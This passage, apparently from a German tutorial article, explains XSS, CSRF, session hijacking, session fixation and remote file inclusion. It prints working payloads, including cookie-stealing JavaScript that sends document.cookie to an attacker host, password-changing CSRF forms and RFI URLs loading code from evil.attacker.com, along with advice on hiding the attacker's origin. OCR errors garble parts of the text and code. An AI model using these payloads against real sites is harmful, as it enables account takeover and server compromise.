Seite stattfinden. In den anderen beiden Methoden wird der bosarti-
ge Code von dem Webserver selbst in das Dokument eingefiigt.

Der Typ 1 nennt sich ,,non-persistant” / ,reflected “ XSS. In
unserem Beispiel wird der gesuchte String auf der Seite der Su-
chergebnisse wieder ausgegeben. Der relevante Codeausschnitt der
Ergebnisseite:

<?php
echo "Search results for "
.$_GET[search].".";
?>

Man kann also beliebige Strings in die Seite einbinden und somit
auch neue HTML-Elemente. Bei dem Aufruf von

http://some-domain.tld/search.php?search=
<script>alert (' reflected xss’);</script>

wiirde sich eine Ereignisbox mit dem Text ,,reflected xss* 6ffnen.
Der Typ 2 nennt sich ,,persistent™ / ,,stored” XSS. Im Gegensatz
zu Typ 1 wird bei Typ 2 der Schadcode auf dem Server gespeichert,



so dass beim Aufrufen der Seite, auf der sich der Schadcode be-
findet, dieser nicht mit an den Server gesendet werden muss. Das
hier aufgefiihrte Beispiel ist ein Nachrichtendienst. Die Nachrich-
ten werden wie folgt gespeichert.

$sgql = mysqgl_real_escape_string(
"INSERT INTO messages
(‘from', ‘to‘, ‘msg‘, ‘id‘) VALUES
(I"‘$from."!, !H.$to‘"1’
Ill.s_POST[msg]."I’ ,".$id.",)");
mysql_query ($sql) ;

Wird eine gespeicherte Nachricht nun wieder abgerufen, wird der
Inhalt der Nachricht direkt auf die Seite ausgegeben.

$sgql = "SELECT x* FROM messages
WHERE id=".$messagelD;

Sresult = mysqgl_query ($sql);

Srow = mysqgl_fetch_array (Sresult);

echo S$row[msg];
Sollte nun ein boswilliger Benutzer dieses Dienstes die Nachricht

<script>alert (' stored XSS’);</script>

an einen anderen Benutzer schicken, so wiirde sich bei diesem eine
Ereignisbox mit dem Inhalt ,,stored xss* 6ffnen.

Session Riding/Cross Site Request Forgery (CSRF)

Cross-Site Request Forgery wurde etwa 2000/2001 bekannt und ist
somit eine noch relativ neue Schwachstelle, zieht nun jedoch lang-
sam immer mehr Aufmerksamkeit auf sich. Der neuere Name, Ses-
sion Riding, beschreibt die Sicherheitsliicke etwas plastischer, nim-
lich das Weiterbenutzen einer bestehenden Session. Ziel einer sol-
chen Attacke ist es, Aktionen auf einer Webseite durchzufiihren,
dies aber im Namen eines fremden Benutzers.

Das Standardszenario ist folgendes: Das Opfer, ein Benutzer,
wird auf eine Seite gelockt, die sich unter der Kontrolle des Angrei-
fers befindet. Auf dieser wird im Hintergrund die Webseite mit ge-
zielten Parametern geladen, auf der der Angreifer nun eine Aktion
im Kontext des Opfers durchfithren will. Unter der Vorraussetzung,
dass der Benutzer zu diesem Zeitpunkt auf dieser Seite angemeldet
ist, wird sein Browser bei der Anfrage einen Cookie mitsenden, so
dass die Aktion im Namen des Benutzers ausgefiihrt werden kann.
So konnen zum Beispiel, falls keine Vorkehrungen gegen solche
Angriffe getroffen wurden, Passworter oder andere Benutzereinstel-
lungen ohne Wissen des Angegriffenen geéndert oder auch Nach-

Beispiel

In diesem Beispiel wird nur auf die Verénderung des Passwortes von
fremden Benutzern in einer Webapplikation eingegangen. Es kon-
nen jedoch simtliche Interaktionsmoglichkeiten, die eine Webseite
anbietet, verwundbar gegeniiber Session Riding sein.

Der Code zum é@ndern des Passwortes in diesem Beispiel:

<?php
if (isset ($_GET [set_password])) {
$sgql = "UPDATE users SET password='".

S_GET [set_password].
"’ WHERE username='".
S_SESSION[username] ."’";
mysql_query ($sql);
}

7>

Bindet der Angreifer nun zum Beispiel folgenden i frame in eine
Seite ein

<iframe src="http://some-domain.tld/
user/edit.php?set_password=newPassword">
</iframe>

wird jeder Benutzer, der diese Seite betritt und auf
some-domain.tld angemeldet ist sein Passwort in ,newPass-
word* indern. Da die Anderung iiber einen GET-Parameter ver-
dndert wird, ist es sogar moglich, tiber ein Bild das Passwort zu
dndern.

<img src="http://some-domain.tld/
user/edit.php?set_password=newPassword">

So kann man derartige Session Riding-Attacken auch von frem-
den Seiten aus durchfiihren, die das Einfiigen von Bildern erlauben,
auch wenn sie das Einbinden von Javascript und sonstiger HTML-
Elemente unterbindet.

Das Verwenden von POST-Parametern an Stelle von GET-
Parametern sichert nicht vor Session Riding-Angriffen. Es schlief3t
lediglich samtliche Angriffsvektoren aus, die kein JavaScript ent-
halten.

Wire set_password in diesem Beispiel ein POST-
Parameter, sihe ein Angriffsszenario so aus:

<script>
var form = document.createElement (' form’);
form.setAttribute (’action’,
"http://some-domain.tld/user/edit.php’);
form.setAttribute ("method’, ’POST’);

var input = document.createElement (’input’);
input.setAttribute (' name’, 'set_password’);
input.setAttribute (' value’, ’'newPassword’);
form.appendChild (input) ;
form.submit () ;

</script>

richten im Namen des Benutzers verschickt werden, je nachdem,
welche Services die angegriffene Seite anbietet.

Leider wird dieser Schwachstelle nicht so viel Aufmerksamkeit
geschenkt und so ist eine derartige Liicke heutzutage, einfach auf
Grund mangelnder Bekanntheit, verbreiteter als zum Beispiel SQL-
Injection- Verwundbarkeiten (siehe unten), gegen die in Program-
miersprachen teilweise bereits standardméBig Vorkehrungen getrof-
fen werden, wie Magic Quotes.

Dieses Script hat den selben Effekt wie die beiden Angriftsszenari-
en Zuvor.



Session Hijacking

Beim sogenannten Session Hijacking, einer Angriffstechnik, die
meist, aber nicht ausschliesslich, auf unverschliisselte Kommunika-
tionsverbindungen angewendet wird, tibernimmt der Angreifer mit
Hilfe giiltiger Session- oder Authentifizierungs-Informationen des
Benutzers dessen laufende Sitzung [Kapoor.

Die Angriffsmoglichkeiten sind vielfiltig und reichen von der
Ubernahme einer HTTP-Session (z.B. Zugriff auf den passwortge-
schiitzten Bereich einer Webanwendung) bis hin zur Entwendung
einer TCP-Verbindung (z.B. Telnet-Hijacking). TCP Session Hi-
jacking funktioniert nur bei unverschliisselter Kommunikation, wie
wir gleich sehen werden. Beim HTTP Session Hijacking ist der An-
griff auch moglich, wenn die Kommunikation verschliisselt stattfin-
det. Doch dazu spiter mehr.

Zuerst sammelt der Angreifer mit Hilfe von Social Engineering,
Sniffing, Man-in-the-middle- oder sonstigen Angriffen ausreichend
Daten, um die Session iibernehmen zu konnen. Dann ,.entfiihrt* er
sozusagen die Sitzung des Angegriffenen und fiihrt sie selbst weiter.

Fiir den Angegriffenen erscheint die Ubernahme meist wie je-
der andere hin und wieder vorkommende Verbindungsverlust, und
er ist nicht in der Lage, sie als Angriff zu identifizieren.

TCP Session Hijacking

Dieser Angriff steht nicht im direkten Zusammenhang mit Weban-
wendungen; er sei hier der Vollstidndigkeit halber trotzdem erwéhnt.

Gemif des géngigen Vokabulars fiir Kryptographie- bzw. Netz-
werkszenarien sei Computer A, genannt Alice, verbunden mit Ser-
ver B, auch Bob, wihrend unser Angreifer mit Eve (,,the evil eaves-
dropper®, die bosartige Lauscherin) betitelt sei [W=msv].

Befindet sich der Angreifer - Eve - im selben Netzsegment wie
das Opfer - Alice - oder in einem Netzsegment, iiber das die Pa-
kete des Opfers zu ihrem Ziel - Bob - geleitet werden, so kann
er den Netzverkehr des Opfers sniffen, also mitschneiden. Da Eve
siamtliche Pakete mitlesen kann, ist sie auch in der Lage, die TCP-
Sequenznummern zu beobachten und diese, sofern sie inkrementell
oder nicht ausreichend zuféllig sind [Zalewsky2003]], vorhersagen.

Um nun die Verbindung eines Klartextprotokolls wie Telnet zu
.entfithren®, sendet Eve Pakete im Namen von Alice, also mit Ali-
ce’ IP-Adresse, an Bob. Wenn dabei die Sequenznummern stimmen,
wird Bob den injizierten Befehl ausfiihren, als kdme er von Alice.

Um das Passwortsniffen zu verhindern, werden mancherorts,
wo Administratoren SSH [w-ssh] nicht nutzen konnen oder wollen
und daher Telnet einsetzen, Einmal-Passworter oder dhnliche kryp-
tographische Verfahren eingesetzt, um so das Risiko einer Kom-
promittierung zu minimieren. Doch selbst wenn der Login stark
verschliisselt ist - solange der folgende Netzverkehr unverschliisselt
vonstatten geht, ist Session Hijacking weiterhin moglich.

Weil die Session auf die oben beschriebene Weise iiber das
Netzwerk entfithrt wird, spricht man dabei von Network-based Ses-
sion Hijacking. Auf eine weitere Angriffsart, das Host-based Ses-
sion Hijacking, werden wir nicht weiter eingehen, da das Vorgehen
ein anderes ist und unter anderem Root-Rechte erfordert.

HTTP Session Hijacking

Wir sprachen in der Einleitung von ,,HTTP-Sessions®, obwohl die-
se genaugenommen nicht existieren. Es handelt sich bei dem HTTP
unterliegenden TCP zwar um ein verbindungsorientiertes Protokoll,
doch wird in jeder dieser Verbindungen nur eine einzelne HTTP-
Anfrage gestellt - ist diese abgearbeitet, wird die Verbindung wieder
getrennt (genaugenommen besteht zwar die Moglichkeit, aus Per-
formanzgriinden mehrere aufeinanderfolgende Anfragen in ein- und
derselben Verbindung zu stellen, doch wie wir sehen werden, ver-
dndert dies die Problematik keineswegs). Bei mehreren, in kurzen
Abstéinden auftretenden HTTP-Verbindungen kann nun keineswegs
einfach festgestellt werden, ob diese von ein- und demselben Benut-
zer getdtigt wurden, ja nicht einmal, ob diese vom selben Computer
aus erzeugt wurden. Damit ist HTTP ein zustandsloses Protokoll
und Webanwendungen sind dazu gezwungen, eventuell bendtigte
Session-Funktionalitit selbst bereitzustellen.

Der Grund, warum Sessions iiber HTTP fiir Angreifer ein loh-
nenswertes Ziel darstellen, ist, dass diese Algorithmen, seien sie
nun Framework-gestiitzt oder nicht, hiufig fehleranfillig sind.

Die meisten Webanwendungen generieren sogenannte Session-
IDs (SIDs), die der Client mit der Antwort auf seine erste Anfrage
erhilt und bei folgenden Anfragen wieder mit absendet. Auf Imple-
mentierungsebene werden Session-IDs meist tiber URL-Parameter,
Hidden form fields oder Cookies realisiert. Hierbei ist zu beach-
ten, dass jegliche sicherheitsrelevanten Aktionen, wie zum Beispiel
Uberpriifungen, natiirlich auf Serverseite ausgefiihrt werden mis-
sen, da die genannten Mechanismen auf Clientseite manipuliert
werden konnen. Beim Client befindet sich mit der Session-ID le-
diglich ein temporires Datum, mit dem der Server den Benutzer
identifizieren kann, ohne dass dieser wieder und wieder sein Pass-
wort eingeben muss.

Im Falle von URL-Parametern werden die Session-IDs iiber
GET-Anfragen in der URL ibertragen, was auf den ersten Blick
leicht erkennbar ist:

http://www.example.com/
index.php?sid=67£2a923dc

Bei Hidden form fields - ein moglicherweise irrefithrender Begriff
- wird die SID im Quelltext der HTML-Dateien als Formularfeld
untergebracht:

<INPUT TYPE="HIDDEN" NAME="SID"
VALUE="67f2a923dc"/>

,Hidden®, also ,,versteckt™ bezieht sich hierbei jedoch ausschliess-
lich auf die Tatsache, dass das betreffende Formularfeld auf der
HTML-Seite nicht angezeigt wird. Lisst ein Benutzer sich den Sei-
tenquelltext anzeigen, ist es keineswegs versteckt.
Die verbreitetste Form des Session-Managements ist mithilfe von
Cookies implementiert. Man unterscheidet zwischen bestindigen
und nicht-bestindigen (persistent/non-persistent) Cookies: Bestén-
dige Cookies werden im Dateisystem gespeichert, so dass sie auch
nach Neustart des Webbrowsers oder des Systems weiterhin zur
Verfiigung stehen; sie haben jedoch eine feste Lebensdauer, die von
Minuten bis hin zu Jahren betragen kann, nach deren Ablauf sie
entfernt werden. Nicht-bestdndige Cookies werden lediglich im Ar-
beitsspeicher abgelegt und beim Beenden des Browsers entfernt.
Der Server legt die Client-Sessions, bestehend aus diversen, den
Status der Session bestimmenden Variablen, im Dateisystem ab.



Damit nun jede dieser Sessions dem richtigen Benutzer zugeordnet
werden kann, erhilt dieser die dazugehorige Session-ID, mit deren
Hilfe ihm der Zugriff auf die Session ermoglicht wird.

Bei der Bereitstellung und Kontrolle der Sessions zeigen viele
Implementationen Schwichen. Ein Angreifer konnte zum Beispiel
problemlos bei allen drei genannten Mechanismen die Session-ID
im laufenden Betrieb @ndern. Bei den URL-Parametern verdndert
er diese einfach in der Adresszeile des Browsers, im Falle von Hid-
den Form Fields kann der Angreifer zum Beispiel die Website lokal
speichern und die ID im Quelltext ersetzen, diese Seite in seinem
Browser aufrufen und das Formular abschicken. Bestindige Coo-
kies konnen direkt mit einem Texteditor bearbeitet werden, sofern
sie nicht verschliisselt sind. Auf die Details gehen wir an dieser Stel-
le nicht weiter ein, denn das einzig nichttriviale Problem hierbei
stellen nicht-bestidndige Cookies dar und auch diese sind fiir die frei
verfiigbaren Webanwendungs-Manipulationsproxies (wie Achilles
[mscl, Paros [chinotec]], Interactive TCP Relay [imperva], WebSca-
rab [owasp-ws] etc.) kein Hindernis.

Beriicksichtigt die Webanwendung diese moglichen Manipula-
tionen nicht, so konnte der Angreifer seine ID auf die eines anderen,
eingeloggten Benutzers setzen (sog. Session Cloning) und auf diese
Weise dessen Sitzung mitbenutzen oder iibernehmen. Da Sinn und
Zweck der Session-ID ja gerade die Vermeidung der wiederholten
Passworteingabe ist, muss der Angreifer in den meisten Fillen kein
Passwort eingeben.

Dieser Angriff ist deutlich schwerer zu erkennen, als man zu-
nédchst denken mag: Nehmen wir einmal an, die Applikation wiirde
die ID naiv der IP des Nutzers zuordnen. Dies wire allein schon
durch Proxies und Network Address Translation (NAT) ein Pro-
blem, wo mehrere Benutzer dieselbe IP haben konnen, und so in
diesem Szenario die Sessions der anderen Proxybenutzer klonen
konnten. Auch die 24stiindige Zwangstrennung bei deutschen DSL-
Anbietern (Digital Subscriber Line) wire hier ein Problem - bei an-
deren Anbietern, beim sogenannten Roaming oder bei der Nutzung
von Proxy-Load-Balancing kann sich die IP durch dynamisches Re-
routing sogar im laufenden Betrieb dndern! Die Webanwendung
wiirde in einem solchen Fall félschlicherweise einen Angriff ver-
muten.

Sind die Session-IDs zudem noch vorhersagbar, d.h. nicht aus-
reichend zufillig, hat der Angreifer leichtes Spiel. Um herauszufin-
den, ob die IDs sicher sind oder nicht, muss der Angreifer lediglich
die ihm zugewiesenen IDs sammeln, statistische Analyse darauf an-
wenden und versuchen, giiltige IDs vorherzusagen, die gerade an
andere Benutzer vergeben sind [Skoudis2006]. Weiterhin konnte er
die Session-ID raten, brute-forcen oder sie mithilfe von Cross-Site
Scripting (siehe folgender Abschnitt) herausfinden.

XSS-based Session Hijacking

Da, wie im Abschnitt ,,Cross-Site Scripting* beschrieben, Skripte
Zugriff auf Cookies haben, ist ein Angreifer in der Lage, durch XSS
Cookie-basierte Sessions zu entfiihren.

Machen wir uns die Situation noch einmal klar: Das Opfer ist
im Besitz eines Session-Cookies, den der Angreifer haben mochte.
Um diesen zu erhalten, muss der Angreifer sich etwas einfallen las-
sen: Ruft er selbst die Website auf, erhilt er natiirlich einen eigenen
Cookie und nicht den des Opfers. Lockt er das Opfer auf seine Web-
site, bekommt er den Cookie ebenfalls nicht, da der Domainname
nicht tibereinstimmt.

Die Funktionsweise von XSS-basiertem Session Hijacking ist
ein (mindestens) vierstufiger Prozess. Um den Angriff undurch-
schaubarer zu machen, kann der Angreifer nach Belieben weitere
Stufen hinzufiigen.

Da der vom Angreifer anvisierte Cookie lediglich in der Kommu-
nikation zwischen dem Server und dem Opfer existiert, muss das
Skript des Angreifers, um darauf zugreifen zu konnen, vom Server
aus in die Seiten eingebunden werden, die im Browser des Opfers
angezeigt werden. Dafiir muss auf dem Server natiirlich eine ver-
wundbare Anwendung laufen, zum Beispiel ein Forum. Zunéchst
schreibt der Angreifer einen Beitrag, der ein JavaScript enthilt (1).
Sobald ein anderer eingeloggter Benutzer, das Opfer, sich den Bei-
trag anzeigen lédsst (2), wird das Skript in dessen Browser ausge-
fiihrt. Das Skript greift sich den Cookie des Opfers und sendet ihn
an den Angreifer (3), der ihn dem Server als seinen eigenen pri-
sentiert (4). Der Server hilt den Angreifer fiir das Opfer und der
Angreifer hat sein Ziel erreicht.

Hier eine mogliche Implementierung des Angriffs:

<script>
document .location.replace (
"http://www.evil.attacker.com/
steal.php?what=" + document.cookie
)

</script>

Da diese Art des Angriffs leicht vom Opfer bemerkt werden wiirde
- die geladene Seite ist nicht die angeforderte und in der Adresszeile
steht das Skript des Angreifers -, macht es fiir den Angreifer Sinn,
zum Beispiel in die geladene Seite steal . php eine weitere Wei-
terleitung zu integrieren, die das Opfer auf eine andere Seite wie
zum Beispiel die Startseite des verwundbaren Forums weiterleitet.
Der Angreifer konnte zu diesem Zweck einen weiteren Parameter
ibergeben, der das Ziel der Weiterleitung angibt:

<script>
if (document.cookie.indexOf ("stolen") < 0)
document .cookie = "stolen=true";

document.location.replace (
"http://www.evil.attacker.com/
steal.php?what=" + document.cookie +
"swhatnext=https://www.example.com/"

}

</script>

Der zusitzliche Cookie stolen dient hier dem Zweck, eine End-
losschleife zu vermeiden. Wire das Forum derart implementiert,
dass es einen eingeloggten Benutzer bei Aufruf der Startseite auf
die zuletzt besuchte Seite weiterleitet, so wiirde dieser wieder den
Beitrag des Angreifers aufrufen, dieser wiirde wiederum den Coo-
kie stehlen und das Forum aufrufen, das den Benutzer auf den Bei-
trag des Angreifers weiterleitet. . .

Der Angreifer kann zu diesem Zeitpunkt mit der Benutzersession
machen, was diese ihm erlaubt. Wird bei der Passwortéinderung das
alte Passwort nicht abgefragt, konnte er ein neues Passwort setzen
und so den legitimen Benutzer aussperren. Wird beim Andern der
eMail-Adresse keine Bestitigungsmail an die alte Adresse gesendet,
konnte er auch diese dndern. Die Grenzen werden hier nur durch
die Moglichkeiten gesetzt, die die Webanwendung einem legitimen
Nutzer auferlegt.



Der Angreifer konnte das Ausnutzen der Schwachstelle automati-
sieren und zum Beispiel direkt in die steal . php integrieren.
Wir fassen diese erweiterte Variante noch eirmal zusammen:

1. Der Angreifer nutzt eine XSS-Schwachstelle einer Weban-
wendung aus, um ein JavaScript auf dem Server zu platzie-
ren, welches zum Zweck des Session Hijacking die Cookies
der Benutzer stehlen soll.

2. Beim Aufruf der Website durch einen legitimen Benutzer
wird das JavaScript im Browser des Opfers ausgefiihrt und
die Website des Angreifers wird geladen. Dabei wird der
Session-Cookie als GET-Parameter mitgeschickt.

3. Der Server des Angreifers extrahiert den Cookie und prisen-
tiert dem Opfer eine Website, welche dessen Browser auf die
urspriingliche Seite (oder Domain) weiterleitet.

4. Der Browser des Opfers erhilt diese Seite und lddt die ur-
spriingliche Website.

5. Der Angreifer fiigt den Cookie in seinen Browser ein und
ladt die Webanwendung, welche ihn wegen des Cookies fiir
das Opfer hilt.

Natiirlich konnte das Opfer auch diesen Angriff bemerken, beson-
ders wenn es zu zeitaufwendigen DNS-Anfragen oder dhnlichen
Verzdgerungen kommt, doch es gibt auch weitaus weniger auffl-
lige Methoden, diesen Angriff zu realisieren, zum Beispiel iframes.
Wir gehen hier jedoch nicht weiter auf diese ein, da sich an der ge-
nerellen Vorgehensweise des Angriffs nichts dndert.

Session Fixation

Session Fixation ist eine Technik, mit der man die Session eines
Benutzers iibernehmen kann. Sie basiert darauf, dem Benutzer, des-
sen Session entwendet werden soll, eine dem Angreifer bekannte
Session-ID zukommen zu lassen, die dieser dann verwendet. Dies
kann auf unterschiedliche Art und Weise geschehen.

Die einfachste Methode ist es, dass sich der Angreifer eine be-
liebige Session-ID aussucht und das Opfer dazu bringt, auf die ge-
wiinschte Seite zuzugreifen, jedoch iiber einen vom Angreifer er-
stellten Link. Der leichteste Weg ist die Mitgabe der Session-ID
iber einen GET-Parameter. Die Web-Applikation erstellt nun eine
neue Session mit der angegebenen Session-ID und sobald sich der
Benutzer angemeldet hat, kann die Session durch die Kenntnis der
Session-ID {ibernommen werden.

Viele Session-Management-Implementationen verhalten sich
gliicklicherweise nicht so. Sie akzeptieren nur die von ihnen erstell-
ten Sessions-IDs. Dies ist jedoch auch nicht viel schwerer zu um-
gehen, da der Angreifer lediglich eine neue Session erstellen muss,
bevor er den gefilschten Link erzeugt. Somit muss sich der An-
gegriffene innerhalb des Session-Timeouts anmelden, damit keine
neue Session angelegt wird.

Eine sehr effektive Methode, es dem Angreifer moglichst
schwer zu machen, ist es, die Session-ID nur iiber Cookies zu trans-
portieren, da durch die Same Origin-Policy das Injizieren eines
Session-ID-Cookies in den Browser des Opfers deutlich erschwert
wird.

Im Gegensatz zum Session Hijacking (siehe voriger Abschnitt)
stellt die Verschliisselung des Datenverkehrs keinen Schutzmecha-
nismus dar.

Beispiele

A = Angreifer
B = Opfer

Szenario I: Das einfachste Szenario ist das folgende.
A schickt B den Link:

http://some-domain.tld/index?SID=1234567890

B folgt diesem Link und loggt sich auf dieser Seite mit seinem Be-
nutzernamen und Passwort ein. Da der Server keine neue Session
ID erzeugt, sondern unter ,,1234567890% einfach eine neue Session
anlegt, ist A in der Lage B’s Session zu tibernehmen.

Szenario 2: Dieses Beispiel ist etwas trickreicher und nicht so
offensichtlich.
B o6ffnet eine Seite die sich unter A’s Kontrolle befindet. Diese Seite
enthilt beispielsweise diesen Code:

<iframe src="http://some-domain.tld/index
?SID=1234567890"></iframe>

In diesem Beispiel legt der Webserver, wie zuvor, eine neue Session
fiir die mitgegebene ID an. Darauf hin erzeugt er einen Cookie, da
die Applikation eigentlich basierend auf Cookies arbeitet, jedoch
auch Session-ID’s iiber GET-Parameter verarbeiten kann. B geht
nun auf die Seite http://some-domain.t1d/. Dabei schickt
sein Browser automatisch den zuvor gesetzten Cookie mit und legt
somit die Session-ID auf den String ,,1234567890* fest. Dadurch
kennt nun A die Session ID und kann wiederum B’s Session iiber-
nehmen.

Remote File Inclusion

Bei der Remote File Inclusion, kurz RFI, handelt es sich um eine
Schwachstelle, die es einem Angreifer ermoglicht, Dateien (und so-
mit eigenen Code) in eine Applikation einzubinden und dort zur
Ausfiithrung zu bringen [Edge2006|. Fiir diese Schwachstelle be-
sonders anfillig ist fehlkonfiguriertes PHP, allerdings ist die Aus-
breitung keineswegs darauf beschrénkt.

Die beiden in PHP zur Ausnutzung der Schwachstelle
hilfreichen Funktionen sind allow_url_fopen [php-ff] und
register_globals [php-rg].
allow_url_fopen ist in Standard-PHP-Installationen von Haus
aus aktiviert und fiir Web-Applikationen, die iiber mehrere Server
verteilt sind, macht dies durchaus Sinn. allow_url_fopen er-
laubt es, Dateien von anderen Servern, einfach tiber deren URL,
einzubinden. Ohne diese Funktion miisste die gewiinschte Funk-
tionalitit selbst implementiert werden: Offnen einer Netzwerkver-
bindung, Senden und Empfangen der Pakete und deren Wieder-
Zusammensetzen zu Dateien.

register_globals hingegen ist der Grund, warum man
in diesem Zusammenhang von “fehlkonfiguriertem” PHP spricht:
Seit PHP 4.2.0, veroffentlicht im April 2002, ist diese Option per
default abgeschaltet und muss explizit aktiviert werden. Trotzdem
gibt es nach wie vor PHP-Installationen, bei denen diese Funktion
eingeschaltet ist bzw. sogar Software, die ohne diese Option nicht
funktioniert. Zwar ist es moglich, register_globals mit Hilfe
des Webservers nur auf per-Skript-Basis zu aktivieren [jphp-ht] und
Skripten vorzutduschen, register_globals sei aktiviert, doch



viele der Betreiber wissen ganz einfach nichts von diesen Moglich-
keiten. register_globals injiziert Variablen aus unterschied-
lichen Quellen, wie zum Beispiel GET- und POST-Anfragen und
sogenannten Superglobal-Arrays, in die PHP-Seite, um so dem Ent-
wickler Aufwand zu ersparen. So ist es beispielsweise moglich, ein
per Formularfeld iibertragenes Datum iiber den Namen des Feldes
als Variable zu benutzen.

<form ...>
Text: <input name="foo" type="text"
size="30" maxlength="30"/>

</form>
Im obigen Beispiel wird ein Formularfeld foo erstellt. Auf der
Seite, an die das Formular abgeschickt wird, ist es nun dank
register_globals moglich, den Inhalt des Feldes iiber die Va-
riable foo zu nutzen, ohne dass die Variable vorher von Hand ge-

setzt werden muss. Ohne register_globals wire die folgende
- oder eine dhnliche [[php-pv] - Zuweisung notig:

foo = $GET[’ foo’];

So ermoglicht register_globals es auch, beliebige Para-
meter direkt als Variablen anzusprechen und auszugeben. Ruft
man beispielsweise die URL http://www.example.com/—
index.php?variable=wert auf, so geniigt zur Ausgabe die
folgende Anweisung:

echo S$variable;

Im Normallfall - mit deaktiviertem register_globals - wire
dies nur moglich iiber:

echo $_REQUEST[’variable’];

Basiert nun die Sicherheit der Anwendung auf dem Setzen oder
Wert von Variablen, erméglicht registers_globals eine Um-
gehung der Sicherheitsiiberpriifungen. Zwar ist diese Funktion nicht
inhdrent unsicher, sie erleichtert es unerfahrenen Programmierern
jedoch ungemein, angreifbaren Code zu schreiben, wenn diese sich
nicht vollstdndig iiber die Funktionsweise und die damit verbunde-
nen Konsequenzen im Klaren sind.

Beim Ausnutzen einer RFI-Sicherheitsliicke legt der Angreifer
zunichst eigene, bosartige Skripte auf seinem privaten Webserver,
dem eines kostenlosen Webhosters oder einem bereits kompromit-
tierten System ab. AnschlieBend bindet der Angreifer die Dateien
in die verwundbare Anwendung ein. Diese werden dann vom ange-
griffenen Server ausgewertet, als wiren sie Teil der dort laufenden
Applikation. Da die Auswertung serverseitig passiert, werden die
Angriffe mit allen Rechten der ausgenutzen Anwendung ausgefiihrt
und haben Zugriff auf die entsprechenden Daten: Dateien und Um-
gebungsvariablen des Servers, Benutzersessions und so weiter.

Betrachten wir das folgende Beispiel. Ein Angrei-
fer hat durch Ausprobieren oder Analyse des Quell-
texts, falls verfiigbar, folgende Codezeile in der Datei
http://www.example.com/hackme.php entdeckt:

include ($base_path "/foo.php");

Der Angreifer hat weiterhin festgestellt, dass die Variable
base_path ohne vorherige Uberpriifung ausgewertet wird.
Da register_globals auf diesem Server aktiviert ist,

ruft der Angreifer die URL http://www.example.com/-
hackme.php?base_path=http://evil.attacker.com
auf, wodurch das PHP-Skript die folgende Anweisung, und damit
auch den Code des Angreifers, ausfiihrt:

include ("http://evil.attacker.com/foo.php");

Diese Datei unterliegt der Kontrolle des Angreifers und kann belie-
bigen PHP-Code enthalten.

Ist dem Angreifer der exakte zu inkludierende Dateiname -
in unserem Beispiel foo.php - nicht bekannt oder unerwiinscht,
so kann er stattdessen die URL http://www.example.com/—

hackme.php?base_path=http://evil.attacker.com/—

qgwned.php%00 aufrufen und PHP somit folgende Datei includen
lassen:

include ("http://evil.attacker.com/
gwned.php%00foo.php");

Da es sich bei dem String ,,%00* um ein Percent-encodiertes Null-
byte (mehr zu Percent-Encoding im Abschnitt ,.Directory Traver-
sal“) handelt, erkennt PHP dies als Ende des Eingabestrings und
bindet daher nur folgende Datei ein:

include ("http://evil.attacker.com/gwned.php");

Da Nullbytes normalerweise nicht in URLs auftauchen, wire dies
jedoch leicht durch ein Intrusion Detection System zu erken-
nen. Eleganter ist der Aufruf http://www.example.com/-

hackme.php?base_path=http://evil.attacker.com/—

gwned.php?ignore=. Dadurch wird in PHP folgendes ausge-
fiihrt:

include ("http://evil.attacker.com/qwned.php
?ignore=/foo.php");

Es wird also die Datei qwned . php auf dem Server des Angreifers
mit dem Parameter ignore=/foo.php aufgerufen. Diesen kann
das Skript des Angreifers einfach ignorieren. Natiirlich kann neben
PHP auch einfaches HTML oder JavaScript eingebunden werden.
In diesem Fall passiert das Auswerten dann jedoch clientseitig, im
Browser des Webseitennutzers, und somit fillt dieser Angriff dann
unter das bereits vorgestellte ,,Cross Site Scripting*.

Unbefriedigend fiir den Angreifer ist bei der RFI die Tatsa-
che, dass dieser sowohl seinen eigenen Standort als auch den seiner
Skripte potentiell preisgeben muss. Doch auch dem kann man ab-
helfen: Zur Verschleierung der eigenen IP-Adresse besteht, neben
der Nutzung von Anonymisierungsdiensten wie Tor [for], die Mog-
lichkeit, Crawler von Suchmaschinen zu missbrauchen - der An-
greifer legt auf seiner Internetseite einfach einen Link zu einer ver-
wundbaren Seite ab und wartet, bis dieser von einer Suchmaschine
gefunden und aufgerufen wird [gdata2006]. Falls der Angriff jemals
erkannt wird, bleibt als Angreifer lediglich die Suchmaschine in den
Logs des angegriffenen Systems zuriick. Eine ebenso brauchbare
Methode ist es, unbeteiligten oder unliebsamen Dritten eine eMail
mit dem bosartigen Link zu schicken, so dass diese als Angreifer
titig werden, ohne es zu wissen.

Auch bei der Standortpreisgabe seiner Skripte hat der Angrei-
fer nahezu Narrenfreiheit: Im fiir ihn riskantesten Falle nutzt er zum
Beispiel seine aktuelle, meist dynamisch zugewiesene IP und hofft
darauf, dass der Angriff erst bekannt wird, wenn der Provider die
entsprechenden Daten schon geldscht hat - ein im Zeitalter der Vor-
ratsdatenspeicherung sehr optimistischer Ansatz. Intelligenter wi-
re die Nutzung (und damit die potentielle Opferung) eines bereits



kompromittierten Servers, auf dem der Angreifer die Skripte plat-
ziert. Am wenigsten riskant ist jedoch die Nutzung von ,,Wegwerf-
Webspace* wie zum Beispiel GeoCities [[ygeo] - zur Registrierung
reicht meist eine Wegwerf-eMailadresse [outscheme] [ferraro].

Dass solche Sicherheitsliicken auch ohne register_globals
= on funktionieren, soll das folgende Beispiel zeigen. Dafiir bedarf
es nicht einmal besonderen ,,Talents* von Seiten des Programmie-
rers.

Uninformiertheit hinsichtlich dessen, was Webseitenbenutzer mit
der Software anstellen konnen, reicht dazu vollig aus.

include ($_REQUEST[’'please_please_own_me’ ]
"/foo.php");

Da das Superglobal-Array _ REQUEST, wie wir weiter oben gese-
hen haben, auch ohne register_globals zugreifbar ist und
sein Inhalt vom Benutzer kontrolliert wird - GET und POST, die
neben iiber Cookies gesetzten Variablen in _REQUEST abgelegt
werden, sind ja gerade dazu da, Benutzereingaben an die Weban-
wendung zu libergeben -, gibt dieser ein:

http://www.example.com/hackme.php
?please_please_own_me=
http://evil.attacker.com/
gwned.php?ignore=

Diese Variante ist natiirlich in jeder beliebigen Programmiersprache
moglich, die dem Programmierer derartig unverantwortlichen Um-
gang mit ,tainted data* erlaubt. PHP wird dabei jedoch nach wie
vor ein besonderer Stellenwert bei der Produktion unsicheren Codes
nachgesagt [Martin2007]. Laut National Institute of Standards and
Technology (NIST) war PHP im Jahre 2005 die zugrundeliegende
Programmiersprache fiir 29%, in 2006 fiir 43% aller vom NIST ge-
sammelten Sicherheitsvorfille [Lemos20006].

Directory Traversal

Beim sogenannten Directory Traversal nutzt ein Angreifer
Schwachstellen in HTTP-Servern oder darauf laufender Softwa-
